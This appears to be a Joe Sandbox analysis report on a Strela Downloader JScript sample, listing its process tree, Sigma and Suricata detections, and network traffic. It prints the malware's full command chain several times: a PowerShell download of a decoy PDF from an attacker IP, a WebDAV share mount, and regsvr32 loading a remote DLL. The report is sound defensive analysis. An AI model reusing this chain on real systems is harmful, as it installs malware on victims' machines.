Edit tour

Windows Analysis Report
21033090848109083.js

Overview

General Information

Sample name:	21033090848109083.js
Analysis ID:	1591776
MD5:	c26794c1299c19f6b2a6dec033f4b9f5
SHA1:	4fde25f6f7d3306a230cdc043970b941e463a9e1
SHA256:	c3a9ba3d824cfc1e0a871f4a0de4e24f042d779b5f5175463a95815df35868be
Tags:	jsuser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6604 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6536 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7088 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6604 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

cmd.exe (PID: 6500 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6380 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 7180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7364 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1656,i,4834674528710319453,17200354492000707701,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 7240 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6604	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7088, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7088, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", ProcessId: 6604, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6380, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6604, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ProcessId: 6536, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6604, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ProcessId: 6536, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6604, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ProcessId: 6536, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6604, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ProcessId: 6536, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6604, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ProcessId: 6536, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", ProcessId: 6604, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7088, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6500, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6380, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7240, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6500, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6380, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21033090848109083.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6604, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\119691855012028.dll, ProcessId: 6536, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T13:08:03.961353+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T13:08:06.011075+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T13:08:03.961353+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 12:08:03 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

